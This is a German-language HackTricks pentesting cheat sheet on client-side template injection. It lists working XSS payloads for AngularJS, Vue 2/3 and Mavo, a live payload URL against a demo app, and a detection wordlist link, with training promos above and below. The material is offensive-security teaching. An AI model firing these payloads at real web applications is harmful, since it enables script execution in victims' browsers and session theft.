hacktricks/pentesting-web/client-side-template-injection-csti.md

8.2 KiB

Client Side Template Injection (CSTI)

{% hint style="success" %} Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

WhiteIntel

WhiteIntel ist eine Dark-Web-unterstützte Suchmaschine, die kostenlose Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.

Du kannst ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:

{% embed url="https://whiteintel.io" %}


Zusammenfassung

Es ist wie eine Server Side Template Injection, aber im Client. Die SSTI kann es dir ermöglichen, Code auf dem Remote-Server auszuführen, die CSTI könnte es dir ermöglichen, willkürlichen JavaScript-Code im Browser des Opfers auszuführen.

Das Testen auf diese Schwachstelle ist sehr ähnlich wie im Fall von SSTI, der Interpreter erwartet eine Vorlage und wird sie ausführen. Zum Beispiel, mit einem Payload wie {{ 7-7 }}, wenn die App anfällig ist, wirst du eine 0 sehen, und wenn nicht, wirst du das Original sehen: {{ 7-7 }}

AngularJS

AngularJS ist ein weit verbreitetes JavaScript-Framework, das über Attribute, die als Direktiven bekannt sind, mit HTML interagiert, wobei eine bemerkenswerte ng-app ist. Diese Direktive ermöglicht es AngularJS, den HTML-Inhalt zu verarbeiten, wodurch die Ausführung von JavaScript-Ausdrücken innerhalb doppelter geschweifter Klammern ermöglicht wird.

In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt werden, der mit ng-app gekennzeichnet ist, ist es möglich, willkürlichen JavaScript-Code auszuführen. Dies kann erreicht werden, indem die Syntax von AngularJS innerhalb der Eingabe genutzt wird. Im Folgenden sind Beispiele aufgeführt, die zeigen, wie JavaScript-Code ausgeführt werden kann:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Du kannst ein sehr einfaches Online-Beispiel der Verwundbarkeit in AngularJS unter http://jsfiddle.net/2zs2yv7o/ und in Burp Suite Academy finden.

{% hint style="danger" %} Angular 1.6 entfernte die Sandbox, sodass ab dieser Version ein Payload wie {{constructor.constructor('alert(1)')()}} oder <input ng-focus=$event.view.alert('XSS')> funktionieren sollte. {% endhint %}

VueJS

Du kannst eine verwundbare Vue-Implementierung unter https://vue-client-side-template-injection-example.azu.now.sh/ finden.
Funktionierender Payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Und der Quellcode des verwundbaren Beispiels hier: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Ein wirklich guter Beitrag zu CSTI in VUE ist zu finden unter https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Überprüfen Sie weitere VUE-Payloads in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Weitere Payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Erkennungsliste

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel ist eine Dark-Web-unterstützte Suchmaschine, die kostenlose Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch Stealer-Malware kompromittiert wurden.

Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.

Sie können ihre Website besuchen und ihre Engine kostenlos ausprobieren unter:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks
{% endhint %}